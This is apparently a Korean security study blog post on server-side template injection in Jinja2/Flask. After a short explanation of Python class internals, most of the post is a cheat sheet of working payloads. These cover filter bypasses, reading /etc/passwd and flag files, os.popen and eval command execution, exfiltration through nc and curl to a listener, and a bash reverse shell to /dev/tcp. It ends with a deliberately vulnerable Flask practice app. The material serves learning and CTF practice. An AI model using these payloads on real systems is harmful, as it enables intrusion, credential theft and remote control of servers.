Security Study/Web

[WEB] SSTI (Server-Side Template Injection) for Jinja2

9ucc1 2022. 5. 9. 15:00
반응형

0. Server-Side Template Injection

SSTI(Server Side Template Injection)은 공격자가 서버측 템플릿 구문을 통한 악성 페이로드를 페이지에 삽입하여 실행되도록 하는 공격기법이다.

크롬에서의 Template Engine 정의

간단한 예시를 통해 이해해보자.

<html>
...
	<body>
		...
		{value}
		...
	</body>
...
</html>

위의 코드가 template engine에서 처리 되어 value 파라미터에 "Hello world"가 전달된다면 아래와 같이 치환된다. 

<html>
...
	<body>
		...
		<p> Hello world </p>
		...
	</body>
...
</html>

이 때, 임의의 실행 가능한 코드를 넘겨준 경우, 서버측에서 실행 과정을 거친 후 결과가 반환된다. 

예를 들면 7*7 이라는 식이 49라는 값으로 반환되어 사용자에게 출력된다. 

 

{{7*7}} # output: 49

SSTI에 사용되는 페이로드 형태는 Template Engine 마다 차이가 있다. 

 

 

0.1. Template Engine 이란..?

Template Engine은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어를 뜻한다. 

웹 서버를 구축할 때 코드에 자주 보이는  {{ content }} {% content %}  이러한 형식으로 되어있는 대부분이 템플릿 엔진을 사용하기 위해 작성된 템플릿 구문이다. 

웹 템플릿 엔진 종류 를 살펴보면 되게 많은 언어들과 템플릿 엔진들이 있는것을 볼 수 있다. 

The List of All Template Engines in 2022

 

 {{7*7}} ${7*7} , .. 등과 같이 Template Engine에 따라 치환되는 표현이 달라, Template Engine에 따라 페이로드 형태가 달라진다.

하지만 기본 원리와 구성은 비슷하므로, 원리를 이해한다면 다른 Template Engine에서도 응용이 가능하다. 

 

 

1. SSTI for Jinja2

<!DOCTYPE html>
<html lang="en">
<head>
    <title>My Webpage</title>
</head>
<body>
    <ul id="navigation">
    {% for item in navigation %}
        <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
    {% endfor %}
    </ul>

    <h1>My Webpage</h1>
    {{ a_variable }}

    {# a comment #}
</body>
</html>

위 코드는 jinja2 템플릿을 사용하는 기본적인 예시이다.

{% 반복문/분기문(for,if) %} // control structure {% %}
{{ 값 출력 }} // Variable value {{ }}
{# 주석 #} // notes {# #}

위와 같이 사용할 수 있다.

 

 

1.1. Background Knowledge

1.1.1. Builtin Filters

Flask Jinja2 템플릿에서 사용할 수 있는 기능 중 Builtin Filters 가 존재한다.

{% debug %}                    # list all variables
{{ object | listme }}          # same with dir(object)
{{ object | getme:"asdfasdf"}  # load object.asdfasdf

 

 

1.1.2. Class in Python

  •  instance.__class__  : 인스턴스(객체)가 속한 클래스 반환
    > 인스턴스(객체) a에 대하여 __class__ 속성은 type() 메소드의 역할과 비슷하다.
    > (  a.__class__  ==  type(a)  )
  •  object  : 파이썬에서 기본적인 클래스
  •  type  : 파이썬에서 기본적인 메타클래스
  •  type(객체) : 클래스 이름
  •  type(클래스 이름)  : type
class A:
	name = "helloworld"
 
a = A()
print(a.__class__)  # Output: <class '__main__.A'>
print(type(a))      # Output: <class '__main__.A'>

SSTI 페이로드를 작성할 때 아래와 같은 표현을 자주 볼 수 있을 것이다.

''.__class__    # Output: <class 'str'>

 '' 는 str 타입의 객체로, __class__ 속성을 통해 확인해보면 str 클래스(본체)를 확인할 수 있다.

 

1.1.3. Base

파이썬은 다중상속 언어로, 동시에 여러 개의 클래스를 상속 받을 수 있다.

직접 상속 받은 클래스들은 __base__ 혹은 __bases__ 를 통해 확인할 수 있다.

  •  class.__bases__  : 클래스 객체의 베이스 클래스 튜플
  •  class.__base__  : 클래스 객체의 베이스 클래스 튜플 중 제일 처음
  • (  class.__mro__[1]  ,  class.__bases__[0]  과 동일 )
class A: # 기본 클래스 정의
	name="My name is A"

class B(A): # A 클래스를 상속받음
    name="My name is B"

class C(A): # A 클래스를 상속받음
    name="My name is C"

class D(B, C): # B, C 클래스를 상속받음
    name="My name is D"

>>> A.__bases__
# Output: (<class 'object'>,)

>>> B.__bases__
# Output: (<class '__main__.A'>,)

>>> C.__bases__
# Output: (<class '__main__.A'>,)

>>> D.__bases__
# Output: (<class '__main__.B'>, <class '__main__.C'>)

 

 

1.1.4. MRO (Method Resolution Order)

직역하자면 메소드 결정 순서.

Python 다중 상속 기능을 이용할 때 발생할 수 있는 문제(다이아몬드 상속문제)를 해결하기 위해 만든 속성이다. 

 

다이아몬드 상속문제
똑같은 메소드를 가진 부모 클래스를 상속하여 실행 순서를 알 수 없는 경우 발생하는 문제

 

  •  class.__mro__  : 자신과 자신이 상속받은 클래스, 상속받은 클래스의 상위 클래스까지 순서대로 튜플 타입으로 반환한다.
  •  class.mro()  : __mro__ 속성과 비슷하지만, 리스트 타입으로 반환하는 함수이다.
class Human:
    def say(self):
        print("who am i")

class Mother(Human):
    def say(self):
        print("Mother")

class Father(Human):
    def say(self):
        print("Father")

class Son(Mother, Father):
    def say(self):
        print("Son")

>>> Son.__mro__
# Output: (<class '__main__.Son'>, <class '__main__.Mother'>, <class '__main__.Father'>, <class '__main__.Human'>, <class 'object'>)

>>> Son.mro()
# Output: [<class '__main__.Son'>, <class '__main__.Mother'>, <class '__main__.Father'>, <class '__main__.Human'>, <class 'object'>]

MRO 함수 또는 속성을 이용하여 해당 객체가 상속받은 클래스를 확인할 수 있다. 따라서 MRO 를 이용하여 SSTI Jinja2 페이로드를 작성할 수 있다.

__bases__ vs __mro__
base는 직접 상속받은 클래스들의 튜플이고, mro는 상속받은 모든 클래스들의 튜플임


1.1.5. __dir__ vs dir() vs __dict__

  •  dir(instance)  : 어떤 객체 또는 클래스를 인자로 넣어주면 해당 객체가 어떤 변수와 메소드(method)를 가지고 있는지 리스트 형태로 반환한다.
    • 인자가 없는 경우, 현재 지역 스코프에 있는 이름들의 리스트를 돌려준다.
    • 객체에 __dir__() 메소드가 정의되어 있으면 이 메소드를 호출하고, 반드시 Attribute 리스트를 반환해야한다.
  •  instance.__dir__()  :
  •  instance.__dict__  : __dir__과 비슷하지만 인스턴스(객체) 내부에 어떤 속성이 있는지 딕셔너리 형태로 반환한다.

 

 

1.1.6. Other objects and methods of Python

__dict__: Save the class instance or object instance attribute variable key value pair dictionary

__class__: Returns a class belonging to an instance

__MRO__: Returns a base class group containing the object, and the method is parsed in the order of the tuple when parsing.

__bases__: Returns a class directly inherited in a tuple form (can be understood as direct parent class)

__base__: The same is probably the same, all of which returns the class inherited by the current class, the base class, the difference is Base to return a single, Bases return is a tuple group
//  __base__ and __mro__ are used to find the base class

__subclasses__: Returns the subclass of the class with a list

__INIT__: Initialization Method for Class

__globals__: Quote for dictionaries containing function global variables

__builtin __ && __ builtins__: Python can run some functions, such as int (), list (), and so on.

These functions can be found in __builtin__. View method is DIR (__ builtins__)
In PY3 __builtin__ is replaced with Builtin
1. In the main module main, __ builtins__ is a reference to the built-in module __builtin__ itself, ie __builtins__ completely equivalent to __builtin__.
2. Non-main module main, __ builtins__ is only a reference to __builtin __.__ dict__, not __builtin__ itself

 

 

1.2. SSTI Scenario in Jinja2 Templates

{{ 7*7 }}
#49

{{ ''.__class__ }}
#<class 'str'>

{{ ''.__class__.__mro__ }}
#(<class 'str'>, <class 'object'>)

{{ ''.__class__.__mro__[1].__subclasses__() }}
#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, ...

{{ ''.__class__.__mro__[1].__subclasses__()[245:] }}
#[<class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, ...

{{ ''.__class__.__mro__[1].__subclasses__()[245] }}
#<class 'subprocess.Popen'>

{{ ''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate() }}
#uid=0(root) gid=0(root) groups=0(root)

{{ ''.__class__.__mro__[1].__subclasses__()[245]('cat flag',shell=True,stdout=-1).communicate() }}
#FLAG{Wargame_SSTI_Problem}

System 명령어를 실행시킬 수 있는 함수(Ex: system(), eval(), popen(), file(), open(), ...)를 가지고 있는 클래스(Ex: os, __builtins__, ...)를 찾는 방법

 

아래와 같이 전형적인 클래스 상속 구조를 잡아두고 원하는 모듈 또는 클래스를 찾는다.

# SSTI Class Finder
def find_os():
    search = 'os'      # Can also be other modules you want to use
    num = -1
    for i in ''.__class__.__base__.__subclasses__():
        num += 1
        try:
            if search in i.__init__.__globals__.keys():
                print(i, num)
                input()
        except:
            pass 
    

def find_builtins():
    search = '__builtins__'
    num = -1
    for i in ().__class__.__base__.__subclasses__():
        num += 1
        try:
            print(i.__init__.__globals__.keys())
            if search in i.__init__.__globals__.keys():
                print(i, num)
                input()
        except:
            pass

find_builtins()

 

 

1.3. Cheat Sheet

1.3.1. Base Objects

Flask Jinja2 Template 에서 사용할 수 있는 몇 가지 base object 가 존재한다.

Base Objects 를 사용하려면 해당 객체에 대해 미리 정의가 되어있어야 한다.

# Ex)
rv.globals.update(
    url_for=url_for,
    get_flashed_messages=get_flashed_messages,
    config=self.config,
    # request, session and g are normally added with the
    # context processor for efficiency reasons but for imported
    # templates we also want the proxies in there.
    request=request,
    session=session,
    g=g,
)

이를 이용한 SSTI Payload 작성은 다음과 같은 형태로 가능하다.

# Usages
{{OBJECT.__class__.mro().__subclasses__()}} 
{{OBJECT.__class__.__mro__[1].__subclasses__()}} 
{{OBJECT.__class__.__base__.__subclasses__()}}

 

위 페이로드에 활용할 수 있는 Base Object 는 아래와 같다.

Base Objects List
g
request
get_flashed_messages
url_for
config
{{ config.items() }}
{{ config['secret_key'] }}
application
self
cycler
{{ cycler.__init__.__globals__.os.popen('id').read() }}
joiner
{{ joiner.__init__.__globals__.os.popen('id').read() }}
namespace
{{ namespace.__init__.__globals__.os.popen('id').read() }}

 

 

1.3.2. Filtering Keyword  config  Bypass

# config가 필터링 되는 경우
{{ self.__dict__ }}
{{ self['__dict__']}}
{{ self|attr("__dict__") }}
{{ self|attr("con"+"fig")}}
{{ self.__getitem__('con'+'fig') }}
{{ request.__dict__ }}
{{ request['__dict__']}}
{{ request.__getitem__('con'+'fig') }}

 

 

1.3.3. Filtering  _    [ ]  Bypass

# Basic Example
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

# "_" Filtering: "|attr()" & "\\x5f"   or   "['']" & "\\x5f"
# "_" == "\\x5f"
# \\x5f, \\137, \\u005F, \\U0000005F, request.args.get('under') 등 사용
=> {{""|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5fmro\\x5f\\x5f")[1]|attr("\\x5f\\x5fsubclasses\\x5f\\x5f")()}}
=> {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

# "." Filtering: "|attr()"   or   "['']"
=> {{""|attr("__class__")|attr("__mro__")[1]|attr("__subclasses__")()}}

# "[", "]" Filtering: "__getitem__()"   or   "pop()"
=> {{"".__class__.__mro__.__getitem__(1).__subclasses__()}}
=> {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
=> {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()}}

 

 

1.3.4. Filtering Bypass Using Flask  request  module

만약 특정 키워드를 막지만 request 객체 사용을 막지 않는 경우

 request.args request.cookies request.headers request.form  를 이용하여 키워드를 쉽게 우회할 수 있는 방법이 있다.

# Using Request Get Parameter
<http://127.0.0.1:8080/?ssti=>{{ request|attr(request.args.get('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.form.get('class'))|attr(request.form.get('mro'))|attr(request.form.get('getitem'))(1) }}
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.cookies.get('class'))|attr(request.cookies.get('mro'))|attr(request.cookies.get('getitem'))(1) }}
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.headers.get('class'))|attr(request.headers.get('mro'))|attr(request.headers.get('getitem'))(1) }}

 

 

1.3.5. Filtering Specific Keyword Bypass

만약 class, mro, subclasses, base 등 특정 키워드가 필터링 되는 경우에는 Jinja2 템플릿 엔진에 내장 함수로 들어있는 attr 함수를 사용하거나 [] 대괄호를 이용하여 문자열로 메서드를 호출할 수 있다.

# class, mro, subclass 등 문자열 필터링 시 다음과 같이 문자열 더하기로 나타내면 우회가 가능하다.
{{ ''['__cl'+'ass__']['__m'+'ro__'][0]['__subcla'+'sses__']() }}
{{ ''|attr('__cl'+'ass__')|attr('__m'+'ro__')[0]|attr('__subcla'+'ssess__')() }}
{{ ''['_'*2+'class'+'_'*2]['_'*2+'mro'+'_'*2][0]['_'*2+'subclasses'+'_'*2]() }}
{{ ''|attr('_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_')|attr('_'+'_'+'m'+'r'+'o'+'_'+'_')[1]|attr('_'+'_'+'s'+'u'+'b'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+'_'+'_')() }}

# 문자열 필터링과 "+" 문자까지 필터링하고 있는 경우 다음과 같이 우회가 가능하다.
{{ ''['__cl''ass__']['__m''ro__'][0]['__subcla''sses__']() }}

# Python Builtins 필터인 |join을 이용하여 우회가 가능하다.
# {{['Thi','s wi','ll b','e appended']|join}} == {{ 'This will be appended' }}
{{ ''|attr(["__","class","__"]|join)|attr(["__","mro","__"]|join)[0]|attr(["__subcla","sses__"]|join)()}}

# |format 이용
<http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}>}&f=%s%sclass%s%s&a=_

# base64 인코딩을 이용한 우회
{{ ().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read() }}

# [::-1] 을 이용한 문자열 역순 우회
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
{{ ().__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['lave'[::-1]]("__import__('os').system('whoami')") }}

# ascii hex
{{ ''['\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f'] }}
# ascii otc
{{ ''['\\137\\137\\143\\154\\141\\163\\163\\137\\137'] }}
# 16bit unicode
{{ ''['\\u005F\\u005F\\u0063\\u006c\\u0061\\u0073\\u0073\\u005F\\u005F'] }}
# 32bit unicode
{{ ''['\\U0000005F\\U0000005F\\U00000063\\U0000006c\\U00000061\\U00000073\\U00000073\\U0000005F\\U0000005F'] }}

# quotation mark(", ')를 필터링 하고있는 경우
# 1. CHR function
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
# 2. Request object
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
# 3. Command execution
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

 

 

1.3.6. Filtering  {{ }}  Bypass

Jinja2 Template Engine 구문 중 하나인  {% %}  를 이용한다. (Blind SSTI)

{% if(config.__class__.__init__.__globals__['os'].popen('ls | nc 127.0.0.1 8080')) %}{% endif %}
{% for i in range(0,500) %} {% if(((''.__class__.__mro__[1].__subclasses__()[i])|string) == "<class 'subprocess.Popen'>") %} {% if(''.__class__.__mro__[1].__subclasses__()[i]('ls | nc 127.0.0.1 8080', shell=True, stdout=-1)) %} {% endif %} {% endif %} {% endfor %}

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd | nc HOSTNAME 1337')['read']() == 'chiv' %} a {% endif %}
# HackerPC: $ nc -lvnp 1337
# Output: root:x:0:0:root:/root:/bin/bash ... (cat /etc/passwd Output)

# CURL 을 이용한 출력값 획득 방법
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl <http://127.0.0.1:7999/?i=`whoami`').read()=='p>' %}1{% endif %}

# 
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //Popen's parameters are the command to be executed
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 

 

1.3.7. Read/Write Remote File

# [40]:     # File Class

# read file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# read file using config class
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}

# <https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398>
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

# write file & excute malicious code in .cfg
### evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\\n\\nRUNCMD = check_output\\n') }}
### load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  
### connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

 

 

1.3.8. Remote Code Execution

# [109] : <class 'codecs.IncrementalDecoder'>
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

# [273] : <class 'subprocess.Popen'>
{{"".__class__.__base__.__subclasses__()[273]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

# attr & . 혼용하는 방법
{{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}

# flask request 모듈을 이용한 RCE 1 (os.popen)
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

# flask request 모듈을 이용한 RCE 2 (os.system())
{{ request.application.__globals__.__builtins__.__import__['os'].system('ls | nc 127.0.0.1 8080') }}

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

{{ get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}

{{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls").read()') }}

# [68], [73]: <class 'site._Printer'>, <class 'site.Quitter'>
{{ ().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami') }}

# [140]: <class 'warnings.catch_warnings'>
{{ ().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')") }}

 

 

1.3.9. Jinja2 SSTI Payloads References

 

 

1.4. Simple Testing Example

기본적인 SSTI를 실습하기 위한 환경은 아래와 같은 파이썬 코드를 이용하면 된다.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
    else:
        return "Bienvenue!"

if __name__ == "__main__":
    app.run(debug=False)

쿼리스트링으로 c 라는 파라미터를 입력받는다. 해당 파라미터에 SSTI 공격 구문을 입력하면서 실습해 볼 수 있다.

 

또한 실제 웹서비스를 구축하여 SSTI 공격을 진행해 볼 수 있는 환경 세팅은 아래의 github을 참고하면 된다. 

https://github.com/dohunny/SSTI-Research-and-Analysis.git

 

GitHub - dohunny/SSTI-Research-and-Analysis: Research and Analysis about Server-Side Template Injection in DIMI class

Research and Analysis about Server-Side Template Injection in DIMI class - GitHub - dohunny/SSTI-Research-and-Analysis: Research and Analysis about Server-Side Template Injection in DIMI class

github.com

 

 

 

1.5. Official Information References

 

2. References

반응형